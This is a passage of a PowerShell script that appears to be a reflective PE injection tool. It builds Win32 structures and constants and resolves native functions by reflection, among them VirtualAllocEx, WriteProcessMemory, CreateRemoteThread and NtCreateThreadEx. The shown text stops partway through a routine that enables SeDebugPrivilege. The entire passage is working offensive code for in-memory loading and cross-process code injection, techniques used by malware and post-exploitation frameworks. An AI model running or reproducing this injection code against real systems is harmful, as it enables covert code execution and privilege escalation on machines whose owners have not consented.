  360.                 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  361.  
  362.  
  363.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  364.                 $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  365.                 $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  366.                 $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
  367.                 $LUID = $TypeBuilder.CreateType()
  368.                 $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
  369.  
  370.  
  371.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  372.                 $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
  373.                 $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
  374.                 $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
  375.                 $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
  376.                 $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
  377.  
  378.  
  379.                 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  380.                 $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
  381.                 $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
  382.                 $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
  383.                 $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
  384.                 $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
  385.  
  386.                 return $Win32Types
  387.         }
  388.  
  389.         Function Get-Win32Constants
  390.         {
  391.                 $Win32Constants = New-Object System.Object
  392.  
  393.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
  394.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
  395.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
  396.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
  397.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
  398.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
  399.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
  400.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
  401.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
  402.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
  403.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
  404.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
  405.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
  406.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
  407.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
  408.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
  409.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
  410.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
  411.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
  412.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
  413.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
  414.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
  415.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
  416.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
  417.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
  418.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
  419.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
  420.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
  421.                 $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
  422.  
  423.                 return $Win32Constants
  424.         }
  425.  
  426.         Function Get-Win32Functions
  427.         {
  428.                 $Win32Functions = New-Object System.Object
  429.  
  430.                 $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
  431.                 $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  432.                 $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
  433.                 $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
  434.  
  435.                 $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
  436.                 $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  437.                 $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
  438.                 $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
  439.  
  440.                 $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
  441.                 $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  442.                 $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
  443.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
  444.  
  445.                 $memsetAddr = Get-ProcAddress msvcrt.dll memset
  446.                 $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  447.                 $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
  448.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
  449.  
  450.                 $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
  451.                 $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
  452.                 $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
  453.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
  454.  
  455.                 $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
  456.                 $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
  457.                 $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
  458.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
  459.  
  460.                 $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress
  461.                 $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
  462.                 $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
  463.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
  464.  
  465.                 $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  466.                 $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  467.                 $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
  468.                 $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
  469.  
  470.                 $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
  471.                 $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  472.                 $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
  473.                 $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
  474.  
  475.                 $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
  476.                 $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
  477.                 $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
  478.                 $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
  479.  
  480.                 $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
  481.                 $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
  482.                 $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
  483.                 $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
  484.  
  485.                 $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
  486.                 $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
  487.                 $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
  488.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
  489.  
  490.                 $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
  491.             $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
  492.             $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
  493.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
  494.  
  495.                 $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
  496.             $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
  497.             $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
  498.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
  499.  
  500.                 $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
  501.         $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  502.         $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
  503.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
  504.  
  505.                 $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
  506.         $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  507.         $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
  508.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
  509.  
  510.                 $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
  511.         $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  512.         $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
  513.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
  514.  
  515.                 $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
  516.         $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
  517.         $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
  518.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
  519.  
  520.                 $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
  521.         $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
  522.         $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
  523.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
  524.  
  525.                 $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
  526.         $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
  527.         $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
  528.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
  529.  
  530.                 $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
  531.         $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  532.         $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
  533.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
  534.  
  535.                 $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
  536.         $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
  537.         $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
  538.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
  539.  
  540.                 $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
  541.         $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
  542.         $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
  543.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
  544.  
  545.  
  546.         if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
  547.                     $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
  548.             $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  549.             $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
  550.                     $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
  551.         }
  552.  
  553.                 $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
  554.         $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
  555.         $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
  556.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
  557.  
  558.                 $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
  559.         $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
  560.         $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
  561.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
  562.  
  563.                 return $Win32Functions
  564.         }
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574.         Function Sub-SignedIntAsUnsigned
  575.         {
  576.                 Param(
  577.                 [Parameter(Position = 0, Mandatory = $true)]
  578.                 [Int64]
  579.                 $Value1,
  580.  
  581.                 [Parameter(Position = 1, Mandatory = $true)]
  582.                 [Int64]
  583.                 $Value2
  584.                 )
  585.  
  586.                 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  587.                 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  588.                 [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  589.  
  590.                 if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  591.                 {
  592.                         $CarryOver = 0
  593.                         for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  594.                         {
  595.                                 $Val = $Value1Bytes[$i] - $CarryOver
  596.  
  597.                                 if ($Val -lt $Value2Bytes[$i])
  598.                                 {
  599.                                         $Val += 256
  600.                                         $CarryOver = 1
  601.                                 }
  602.                                 else
  603.                                 {
  604.                                         $CarryOver = 0
  605.                                 }
  606.  
  607.  
  608.                                 [UInt16]$Sum = $Val - $Value2Bytes[$i]
  609.  
  610.                                 $FinalBytes[$i] = $Sum -band 0x00FF
  611.                         }
  612.                 }
  613.                 else
  614.                 {
  615.                         Throw "Cannot subtract bytearrays of different sizes"
  616.                 }
  617.  
  618.                 return [BitConverter]::ToInt64($FinalBytes, 0)
  619.         }
  620.  
  621.  
  622.         Function Add-SignedIntAsUnsigned
  623.         {
  624.                 Param(
  625.                 [Parameter(Position = 0, Mandatory = $true)]
  626.                 [Int64]
  627.                 $Value1,
  628.  
  629.                 [Parameter(Position = 1, Mandatory = $true)]
  630.                 [Int64]
  631.                 $Value2
  632.                 )
  633.  
  634.                 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  635.                 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  636.                 [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  637.  
  638.                 if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  639.                 {
  640.                         $CarryOver = 0
  641.                         for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  642.                         {
  643.  
  644.                                 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
  645.  
  646.                                 $FinalBytes[$i] = $Sum -band 0x00FF
  647.  
  648.                                 if (($Sum -band 0xFF00) -eq 0x100)
  649.                                 {
  650.                                         $CarryOver = 1
  651.                                 }
  652.                                 else
  653.                                 {
  654.                                         $CarryOver = 0
  655.                                 }
  656.                         }
  657.                 }
  658.                 else
  659.                 {
  660.                         Throw "Cannot add bytearrays of different sizes"
  661.                 }
  662.  
  663.                 return [BitConverter]::ToInt64($FinalBytes, 0)
  664.         }
  665.  
  666.  
  667.         Function Compare-Val1GreaterThanVal2AsUInt
  668.         {
  669.                 Param(
  670.                 [Parameter(Position = 0, Mandatory = $true)]
  671.                 [Int64]
  672.                 $Value1,
  673.  
  674.                 [Parameter(Position = 1, Mandatory = $true)]
  675.                 [Int64]
  676.                 $Value2
  677.                 )
  678.  
  679.                 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  680.                 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  681.  
  682.                 if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  683.                 {
  684.                         for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
  685.                         {
  686.                                 if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
  687.                                 {
  688.                                         return $true
  689.                                 }
  690.                                 elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
  691.                                 {
  692.                                         return $false
  693.                                 }
  694.                         }
  695.                 }
  696.                 else
  697.                 {
  698.                         Throw "Cannot compare byte arrays of different size"
  699.                 }
  700.  
  701.                 return $false
  702.         }
  703.  
  704.  
  705.         Function Convert-UIntToInt
  706.         {
  707.                 Param(
  708.                 [Parameter(Position = 0, Mandatory = $true)]
  709.                 [UInt64]
  710.                 $Value
  711.                 )
  712.  
  713.                 [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
  714.                 return ([BitConverter]::ToInt64($ValueBytes, 0))
  715.         }
  716.  
  717.  
  718.     Function Get-Hex
  719.     {
  720.         Param(
  721.         [Parameter(Position = 0, Mandatory = $true)]
  722.         $Value
  723.         )
  724.  
  725.         $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
  726.         $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value
  727.  
  728.         return $Hex
  729.     }
  730.  
  731.  
  732.         Function Test-MemoryRangeValid
  733.         {
  734.                 Param(
  735.                 [Parameter(Position = 0, Mandatory = $true)]
  736.                 [String]
  737.                 $DebugString,
  738.  
  739.                 [Parameter(Position = 1, Mandatory = $true)]
  740.                 [System.Object]
  741.                 $PEInfo,
  742.  
  743.                 [Parameter(Position = 2, Mandatory = $true)]
  744.                 [IntPtr]
  745.                 $StartAddress,
  746.  
  747.                 [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
  748.                 [IntPtr]
  749.                 $Size
  750.                 )
  751.  
  752.             [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
  753.  
  754.                 $PEEndAddress = $PEInfo.EndAddress
  755.  
  756.                 if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
  757.                 {
  758.                         Throw "Trying to write to memory smaller than allocated address range. $DebugString"
  759.                 }
  760.                 if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
  761.                 {
  762.                         Throw "Trying to write to memory greater than allocated address range. $DebugString"
  763.                 }
  764.         }
  765.  
  766.  
  767.         Function Write-BytesToMemory
  768.         {
  769.                 Param(
  770.                         [Parameter(Position=0, Mandatory = $true)]
  771.                         [Byte[]]
  772.                         $Bytes,
  773.  
  774.                         [Parameter(Position=1, Mandatory = $true)]
  775.                         [IntPtr]
  776.                         $MemoryAddress
  777.                 )
  778.  
  779.                 for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
  780.                 {
  781.                         [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
  782.                 }
  783.         }
  784.  
  785.  
  786.  
  787.         Function Get-DelegateType
  788.         {
  789.             Param
  790.             (
  791.                 [OutputType([Type])]
  792.  
  793.                 [Parameter( Position = 0)]
  794.                 [Type[]]
  795.                 $Parameters = (New-Object Type[](0)),
  796.  
  797.                 [Parameter( Position = 1 )]
  798.                 [Type]
  799.                 $ReturnType = [Void]
  800.             )
  801.  
  802.             $Domain = [AppDomain]::CurrentDomain
  803.             $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  804.             $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  805.             $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  806.             $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  807.             $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  808.             $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  809.             $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  810.             $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  811.  
  812.             Write-Output $TypeBuilder.CreateType()
  813.         }
  814.  
  815.  
  816.  
  817.         Function Get-ProcAddress
  818.         {
  819.             Param
  820.             (
  821.                 [OutputType([IntPtr])]
  822.  
  823.                 [Parameter( Position = 0, Mandatory = $True )]
  824.                 [String]
  825.                 $Module,
  826.  
  827.                 [Parameter( Position = 1, Mandatory = $True )]
  828.                 [String]
  829.                 $Procedure
  830.             )
  831.  
  832.  
  833.             $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
  834.                 Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
  835.             $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
  836.  
  837.             $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
  838.  
  839.                 Try
  840.                 {
  841.                         $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
  842.                 }
  843.                 Catch
  844.                 {
  845.                         $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
  846.                                                             [reflection.bindingflags] "Public,Static",
  847.                                                             $null,
  848.                                                             [System.Reflection.CallingConventions]::Any,
  849.                                                             @((New-Object System.Runtime.InteropServices.HandleRef).GetType(),
  850.                                                             [string]),
  851.                                                             $null)
  852.                 }
  853.  
  854.  
  855.             $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
  856.             $tmpPtr = New-Object IntPtr
  857.             $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
  858.  
  859.  
  860.             Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
  861.         }
  862.  
  863.  
  864.         Function Enable-SeDebugPrivilege
  865.         {
  866.                 Param(
  867.                 [Parameter(Position = 1, Mandatory = $true)]
  868.                 [System.Object]
  869.                 $Win32Functions,
  870.  
  871.                 [Parameter(Position = 2, Mandatory = $true)]
  872.                 [System.Object]
  873.                 $Win32Types,
  874.  
  875.                 [Parameter(Position = 3, Mandatory = $true)]
  876.                 [System.Object]
  877.                 $Win32Constants
  878.                 )
  879.  
  880.                 [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
  881.                 if ($ThreadHandle -eq [IntPtr]::Zero)
  882.                 {
  883.                         Throw "Unable to get the handle to the current thread"
  884.                 }
  885.  
  886.                 [IntPtr]$ThreadToken = [IntPtr]::Zero
  887.                 [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  888.                 if ($Result -eq $false)
  889.                 {
  890.                         $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  891.                         if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
  892.                         {
  893.                                 $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
  894.                                 if ($Result -eq $false)
  895.                                 {
  896.                                         Throw "Unable to impersonate self"
  897.                                 }
  898.  
  899.                                 $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  900.                                 if ($Result -eq $false)
  901.                                 {
  902.                                         Throw "Unable to OpenThreadToken."
  903.                                 }
  904.                         }
  905.                         else
  906.                         {
  907.                                 Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
  908.                         }
  909.                 }
  910.  
  911.                 [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
  912.                 $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
  913.                 if ($Result -eq $false)
  914.                 {
